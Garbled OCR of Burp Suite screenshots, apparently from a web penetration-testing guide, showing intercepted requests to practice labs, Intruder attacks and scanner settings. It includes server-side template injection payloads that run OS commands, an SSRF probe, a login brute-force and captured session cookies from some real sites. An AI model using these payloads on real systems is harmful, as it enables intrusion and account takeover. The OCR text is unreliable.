Burp Project Intruder Repeater Window Help

Dashhoard [ raget [ Py [ mwuser | Repeater Sequencer [ oecoser | comparer Extender
Projectoptions |  Useroptions | CooeDx | CSRF | CSRF Taken Tracker | csuter | eseraizer | Deserialization Scanner
Manual testing | Explotting | Configurations
Host| | Port U Https RESULTS PANE

| setinsertion Paint || clear Insertion Point || Sieep ¥

| Attack || Attack (Basesd) || Attack (Ascil Hex) || Attack (BasesdGaip) || Attack (Gzip) |
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I Burp Suite Professional v1.7.30 - licensed to Appsecco [2 user license] - u] X

@ Select the configuration that you would like to load for this project. BU RPSU I I E

PROFESSIONAL

@ Use Burp defaults

Use options saved with project

© Load from configuration file File

File: Choose file...

(U Defautt to the above in future
[ Disable extensions

Gancet | Bk | (sntowp.
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© Apache NetBeans IDE 100

File View Debug Profile Team Tools Window Help

s
T

@ . . = Show On Statup
NetBeans IDE

My NetBeans

Recent Projed,;. sristics X
‘ Help us improve the NetBeans IDE by providing anonymous usage data, inality as you use it.
1 o e it the IO wl e sy ornain st theHighleveFsturs tht you st  cabase st BELOSCS e o€
<norece] netbeans.org, ind cleaner,

The usage statistis help us better understand user eatirements and priritce improvements i future releases, We wilnever  [Vate features

reverse-enginesr the collcted data tofind specific details about your projects,

o, harkios
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B2 Burp Suite Professional v2.0.17beta - Clienthame-VAPT-21022019 - licensed to Packt [single user license] - X

Burp Project Intruder Repeater Window Help

CodeDx | CSRF |  CSRF TokenTracker | CSufer | Desenialzer |  Deserializaion Scanner | EsPReSSO |  xssvalidator NMAP Parser

Dashboard Target | Prow | ntuger | Repeater |  Sequencer | Decoder Comparer | Extender | Project options User optians
17810 < 14 fae ]|

Go cancel || < |v | >Iv | [ Follow redirection Target: nttps:/vvw mercadolibre.com.mx 7 (2)
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

GET/HTTP/1.1 .
Host: www.mercadolibre.com.mx

User-Agent: Mozilla’5.0 (Windows NT 10.0; Win64; x64; rv-65.0)
Gecko/20100101 Firefox/65.0

Accept:
text/html,application/xhtmk+xml,application/xmi;q=0.9,image/webp, /*;q=0
8

Accept-Language: en-US,eng=0.5

Accept-Encoding: gzip, deflate

Referer: https://auth mercadolibre.com.mx/

DNT: 1

Connection: close

Cookie: _d2id=ebbdf7c3-0a6b-4fab-adc7-ddf3da6Tfdbe-n;
_csrf=RgTN4RWNSa_yjriajdHebAct; c_home=0.59.0;
_ml_ga=GA1.3.1285878709.1551081493;
_ml_ga_gid=GA1.3.1334191881.1551081493;
_ml_ci=1285878709.1551081493; orguseridp=409633547;
JSESSIONID=29103480EF B8OFAF8629F640ADBGCI0B;
_mit=147107d-ce27-4711-8db4-59€0f2c5bb 1
Upgrade-Insecure-Requests: 1

i

0 matches

@ L] (] [rvpe asearchtem

Done

H O Type here to search

PRIMER PROPGSITO

Estrenar el vehiculo
que siempre quisiste

DEL AfiO

o4
ROYAL CANIN

207,536 bytes | 805 millis

@ 71 9) NG
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Go Cancel <|v >|v

Request

@Pams Headers | Hex

Response
Headers

POST /WackoPicko/users/login.php HTTP/1.1

Host: 192.168.43.147

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:64.0) Gecko/20100101 Firefox/64.0

Accept:

text/html,application/xhtml+xml,application/xml;,q=0.9,*/*;q=0.

8

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Referer: http://192.168.43.147/WackoPicko/users/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

Connection: close

Cookie: PHPSESSID=2173qfcfktp21rm4t7idec9sc6;
acopendivids=swingset,jotto,phpbb2, redmine;
acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1

username=admin&password=a

s

| post-check=0, pre-check=0

HTTP/1.1 200 OK
Date: Sat, 26 Jan 2019 06:53
Server: Apache/2.2.14 (Ubu
PHP/5.3.2-1ubuntu4.30 with
mod_python/3.3.1 Python/2.6
OpenSSL/0.9.8k Phusion_Pg
Perliv5.10.1

Scan

$Send to Intruder
Send to Repeater
‘Send to Sequencer

Send to Decoder
Show response in browser
Request in browser

Target: http:i192.168.43.147 7 (2) :

Cri+l
Ctri+R

X-Powered-By: PHP/5.3.2-1
Expires: Thu, 19 Nov 1981 0¢
Cache-Control: no-store, no-{

Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2975
Connection: close
Content-Type: text/html|

<html>
<head>

Turn JSON active detection on

‘Send request to DS - Manual testing
‘Send request to DS - Exploitation

‘Send URL to SSL Scanner
Custom Wordlist
Engagement tools

Copy URL

Copy as curl command
Copy to file

Save item
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B Intruder attack 5 - o x

Aftack Save Columns

[ Resuts | Target | Posttions | Payioads | options |

Fier: Showing allftems @)
Request 4| Payload |Status | Error | Timeout | Length | Comment
0 200 [E] O a8
1 1 200 =] O 419
3 3 200 ] [SEIL]
4 4 200 =] O a9
5 5 200 =] O a9
6 6 200 =] O a9
7 7 200 =] O a9
8 8 200 =] O a9
9 9 200 (=] O a9
Request | Response
Raw | Params | Headers | Hex
GET /showimage.php?file=http:/192.168.0.1:2 HTTP/1.1 +

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtmk+xml,application/xml;q=0.9,image/webp, /*;q=0.8
Accept-Language: en-US,enq=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

v

@ L] (] [rvpe asearchtem 0 matches

90f 65535 | ]
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www.dhl.com/

/ Detailed scope configuration

You can configure a more detailed scope configuration using either URL prefixes or advanced matching rules. Note that the URLS to scan must fall within the
defined scope, and wil still be used as the starting point for the crawl.

(0 Use advanced scope control

mydhi
intranet
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Go cancel || < |v || >|v Target: http:/192.168.100.104 7 (2)

Request Response

_mm [Raw [ Headers | Hex [HTML | Render

lackoPicko/users/login.php B .
OST /WackoPickol /logit HTTPA.1 A HTTP/1.1200 OK L

Host: 192.168.100.104 Date: Fri, 25 Jan 2019 18:13:02 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38
Accept-Language: en-US en;q=0.5 mod_perl/2.0.4 Perl/iv5.10.1
Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.3.2-1ubuntu4.30
Referer: http://192.168.100.104/WackoPicko/users/login.php Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Type: application/x-www-form-urlencoded Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 32 Pragma: no-cache
Connection: close Vary: Accept-Encoding
Cookie: PHPSESSID=9imv65fnsn993dsq28manhoeb4; acopendivids=swingset jotto,phpbb2,redmine; Content-Length: 2975
acgroupswithpersist=nada Connection: close
Upgrade-Insecure-Requests: 1 | Content-Type: text/html|
username=admin&password=password <html>
<head>
<link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css" type="text/css" media="screen,
projection”>
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I Add payload processing rule e

@ Enter the details of the payload processing rule.

[Encode 0]

[URL-zncode key characters.

URL-encode key characters
URL-encode all characters

URL-encode all characters (Unicode)
HTML-encode key characters

HTML-encode all characters

HTML-encode all characters (numeric entities)
HTML-encode all characters (hex entities)
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POST /catalog/search HTTE/1.1

Host: example.org
Content-Type: application/x-www-form-urlencoded

Content-Length: 160

Input=

<pata>
/Data>






OEBPS/Images/16543d8a-093a-472e-925d-1fd949202244.png
Issue activity @F

Y Filter  High ~ Medium = Low ~ Info Certain ~ Firm  Tentative P | search.
#  v[Task |Time | Action [Issue type [ Host [ Path
21 2 13:03:51 19 Feb 2019, Issue found i DOM data manipulation (DOM-based) ‘http-//bigshot beer Iwp-adr &
20 2 13:03:49 19 Feb 2019 Issue found i Cross-domain Referer leakage http-//bigshot beer Iwp-adr
19 2 13:03:47 19 Feb 2019 Issue found i Cross-domain script include http-//bigshot beer Iwp-adr
18 2 13:03:47 19 Feb 2019 Issue found i Cross-domain Referer leakage http-//bigshot beer Iwp-adr
17 2 13:03:47 19 Feb 2019 Issue found 1 Content type incorrectly stated http-//bigshot beer Iwp-cor
16 2 13:03:47 19 Feb 2019 Issue found i Cross-domain script include http-//bigshot beer wp-adr

(152 13034719Feb2019  issuefound [ SessiomtokenimURL |hip/bigshotbeer  fwpadr
14 2 13:03:47 19 Feb 2019 Issue found @) Unencrypted communications http://2 gravatar.com 1
13 2 13:03:26 19 Feb 2019 Issue found 1 Content type incorrectly stated http-//bigshot beer Iwp-cor
12 2 13:03:26 19 Feb 2019 Issue found 1 Content type incorrectly stated http-//bigshot beer Iwp-cor
1 2 13:03:26 19 Feb 2019 Issue found i Cross-domain script include http-//bigshot beer 1
10 2 13:03:26 19 Feb 2019 Issue found @) Unencrypted communications http-//pixel. wp.com 1
9 2 13:02:28 19 Feb 2019 Issue found i Cross-domain script include http-//bigshot beer 1
8 2 13:02:28 19 Feb 2019 Issue found ! Session token in URL ‘http://bigshot.beer /
7 2 13:02:28 19 Feb 2019 Issue found @ Password field with autocomplete enabled ‘http://bigshot.beer /
6 2 13:02:28 19 Feb 2019 Issue found @ Cleartext submission of password http-//bigshot beer 1
5 2 13:02:28 19 Feb 2019 Issue found i Frameable response (potential Clickjacking) http-//bigshot beer 1
4 2 13:02:28 19 Feb 2019 Issue found @) Unencrypted communications http://1_gravatar. com 1
3 2 13:02:28 19 Feb 2019 Issue found @) Unencrypted communications http-//maxcdn bootstraped...

% 2 13:02:28 19 Feb 2019 Issue found @) Unencrypted communications http-//s gravatar.com 1 v
< o3

Advisory | Request | Response

! Session token in URL

Issue Session token in URL
Severity: Medium

Confidence:  Firm

Host http:/ibigshot.beer
Path Iwp-admin/

Issue detail

‘The response contains the following links that appear to contain session tokens:

® fttp://bigshot beerfwp-login php?action=logout&_wpnonce=723205¢9c8
® http://bigshot beerfwp-admin/comment php?action=unapprovecomment&p=630&c=103568 wpnonce=add3a30asa
‘® fttp://bigshot beerfwp-admin/comment php?action=approv ecomment&p=630&¢=103578_wpnonce=0017a211b8

‘® fttp://bigshot beerfwp-admin/comment php?action=approv ecomment&p=630&c=103598_wpnonce=547447733c

® fttp://bigshot beerfwp-admin/admin php?page=jetpack8action=activate&module=protect& _wpnonce=a2f9es2fd1

‘® fttp://bigshot beerfwp-admin/plugins. php?action=activate&plugin=akismet%2F akismet php8_wpnonce=70177ccfb0
» fttp://bigshot beerfwp-admin/comment php?action=spamcomment&p=630&c=10361& wpnonce=0a757eb569

® http://bigshot beerfwp-admin/comment php?action=trashcomment&p=630&c=103618_wpnonce=0a757eb569

‘» http://bigshot beerfwp-admin/comment php?action=unapprovecomment&p=630&c=103578 wpnonce=0017a211b8
‘® fttp://bigshot beerfwp-admin/comment php?action=unapprovecomment&p=630&c=103618_wpnonce=ascds23cdd
‘® fttp://bigshot beerfwp-admin/comment php?action=approv ecomment&p=630&c=103608_wpnonce=f0a832¢353

L
v

[ ] Disk 10.7MB
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'Welcome to Burp Suite Professional. Use the options below to create or open a project. BURPSUITE

PROFESSIONAL
© Temporary project
@® New project on disk File: D:\Assessments\ClientName-VAPT-29022018.burp Choose file...
Name:  ClientName-VAPT-29022018
O Open existing project File |
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[ Burp Suite ProfessionalV ARG errporary Project —ieenseito Global Oy

Burp Project Intruder Repeater Window Help
[ Dashboard | Target | Proxy [intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | CO2

< J2

f

Target | Positions | Payloads | Options

@ Payload Sets
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload typ

Payload set: 1 ¥]  Payload count: 7
Payload type: | Simple list ¥]  Request count: 7

@ Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.

{Smarty_Interal_Wite_File-writeFile(SSCRIPT_NAME "
> self-clearConfig()}

{{_self displayBlock("id" [ {id" [userObject,"vulnerableM
<#assign ex="freemarker template utilty Execute"2new(). . |»
{{_self env registerUndefinedFilterCallback("exec”J{{_sel

= Sclass inspect(‘java lang Runtime”) type getRuntime(). ex
<#assign ex="freemarker template utility Execute"?new()
T

Enter a new item

| Add from list D]

@ Payload Processing
You can define rules to perform various processing tasks on each payload before it is used.

| Add | |Enabled  |Rule

()

Remove. >

Up

Down.

@ Payload Encoding
This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

(¥ URL-encode these characters: | N\=<>7+8";
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> (@ http://192.168.100.101 Contents
> [ @ http//192 168 100.105 -
> http://detectportal firefox.c: $ _http:/itestasp.vuinweb.com/Register.asp
* [ hitp://images.websnapr.ct
» | http://notasafaweb.apphb.d Scan
¥ [ http:/ftestasp.vuinweb.com| Send to Intruder Ctri+l
[¥Y] Send to Repeater Ctri+R
[ Defauttasp Send to Sequencer
Send to Comparer
Request in browser >

Search.asp
> @ Templatize asp
> @ showforum asp
[ stylescss
* [ http://testaspnet.vulnweb.c
* [ http://testphp.vulnweb.com|

Tum JSON active detection on
Send request to DS - Manual testing
Send request to DS - Exploitation
Send URL to SSL Scanner

Web Cache Deception Test

Custom Wordlist
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Burp Intruder Repeater Window Help

[ Target [ #oxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alets | CO2

[intercept | HTTP history | webSockets history | Options |

#) Request to htp/detectportal frefox com 80 [204.2.193.139]

Forward Drop. [ interceptis on | Action
Raw | Headers | Hex

Comment this item

2 () () (@) [ moemr o

Send to Spider
Do an active scan

‘Send to Repeater
Send to Sequencer
‘Send to Comparer

‘Send to Decoder
Request in browser
‘Send to SQLMapper
Send to Laudanum
Engagement tools [Pro version only]
Change request method
Change body encoding
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Don't intercept requests
Do intercept

Convert selection
URL-encode as you type
Cut

Copy

Paste

Message editor help
Proxy interception help

Ctri+X
CtiC
sV

ingd; x64; rviEe.0) Gecko/20100101 Firefox/£6.0

IS

v
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Burp Project Intruder Repeater Window Help
[ Dashboard | Target | Proxy [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | CO2

Site map | Scope | Issue definitions

‘ Filter: Hiding out of scope, unrequested, non-parameterized and not found items; hiding HTML script, CSS, general text, image, flash and general

@ Filter by request type Filter by MIME type Filter by status code Folders
{§§ (@ Show only in-scope items O HTML [ Other text [ 2xx [success] [ Hide empty folders

@ Show only requested items Oscipt (] Images () 3xx [redirection]

@ Show only parameterized requests | (&) XML (] Flash (] 4xx [request emor]

) Hide not-found items Ocss (] Otherbinary 1§ Sx [server emor]

Filter by search term Filter by file extension Filter by annotation

- r—

O Regex — ||

‘Show only highiighted items
0 Case sensitve. (J Negative search | | 1 9@ et ipg.png.css
Showall | [ Hide all | | Revert changes
‘ Raw  Hex
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Burp Project Intruder Repeater Window Help
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® Crawl and audit —
O crawl D [search,

User options
Dashboard

Tasks

Y Fiter  Running

Audit finished. @

Scan URLs to Scan
7. Extension driven pasq configuration

ot enforced I
not enforced

Define the URLS to scan. Burp will begin crawling from these URLs, and by default wil include everything beneath the specified  fy not enforced

URLS' folders not enforced

Capturing ( E nat enforced
Application not enforced

ogin not enforced

8. Crawi and audt of bi not enforced
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Default configuration
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Eventlog
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Dashboard Target @

Mum history | WebSockets history | Options
¢/ Request to hitp://192.168.99.100:80
| Fowara | prop | [interceptison | |  Acton |

EPams Headers | Hex

GET XvwalHTTPIT.T

Host: 192.168.99.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html application/xhtmI+xml,application/xml;,q=0.9,*/*;q=0.8
Accept-Language: en-US en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.99.100/xvwa/

Connection: close

Cookie: PHPSESSID=k76i5kbgdsca3gpr14qro09on7
Upgrade-Insecure-Requests: 1
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B! Add URL to include in scope

@

Specify a regular expression to match each URL component, or leave
blank to match any item. An IP range can be specified instead of a

hostname.

Protocol: |HTTP

Host or IP range:  mutillidae-testing.cxm

Port: 808
File: -
Paste URL

| ok || cancel |
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Request | Response.

Raw | Headers | Hex | Render

HTTP/1.1200 OK [a
Server: ngink/1.4.1 )
Date: Sat, 23 Feb 2019 11:31:42 GMT

Content-Type: image/jpeg

Connection: close

X-Powered-By: PHP/5.3.10-1-lucid+2uwsgi2

Content-Length: 234

Warning: fopen(http://192.168.0.1:2): ailed to open stream: Connection timed out in /hj/varfwww/showimage.php on line 7

Warning: fpassthru() expects parameter 1 to be resource, boolean given in hjjvariwwwishowimage.php on line 13 {

v

@ L] (] [rvpe asearchtem 0 matches

14 0f 65535 | ‘
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Hew scanning configuration

@ contiguration name

Expand the areas that you want to define in this configuration

\~ Issues Reported

These settings control which issues Burp wil check for. You can select issues by scan type or individually. If you select individual issues,
you can also select the detection methods that are used far some types of issues

O select by scan type:

© select individual issues:

W Fiter Passive  Light  Medium  Intrusive  JavaScript D [search,
Enabled | Name Pas... |Light | Med... |intru... | Jav... | Typical ...| Type index | Detection methods
U 0S command injection . High 0x00100... All methods enabl... |4
o SQL injection . High 0x00100... Al methods enabl.
| @ | saLinjection (second order) . High 0x00100... Al methads enabl.
[J  ASPNET tracing enabled . High 0x00100,
U File path traversal . High 0x00100... Al methods enabl.
J XML external entity injection . High 0x00100... Al methods enabl.
U LDAPinjection . High 0x00100... Al methods enabl... | |,
U xPatn injection . High 0x00100... Al methods enabl.
U xMLinjection . Medium  000100... Al methods enabl
[J  ASPNET debugging enabled . Medium 000100
(J  HTTPPUT methad is enabl . High 0x00100,
U Outorband resource Iad . High 0x00100,
U File path manipulation . High 0x00100,
J  PHP code injection . High 0x00100... Al methods enabl.
U server-side JavaScript codl . High 0x00100,
[ Perl code injection . High 0x00100,
e b - . PGy v

O savetoliorary | save |

| cancel |
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B Schedule task

@ Select the type of task you want to run.

© scan from a URL

O Pause active scanning
O Resume active scanning
O Spider from a URL

O Pause spidering

O Resume spidering

@© save state
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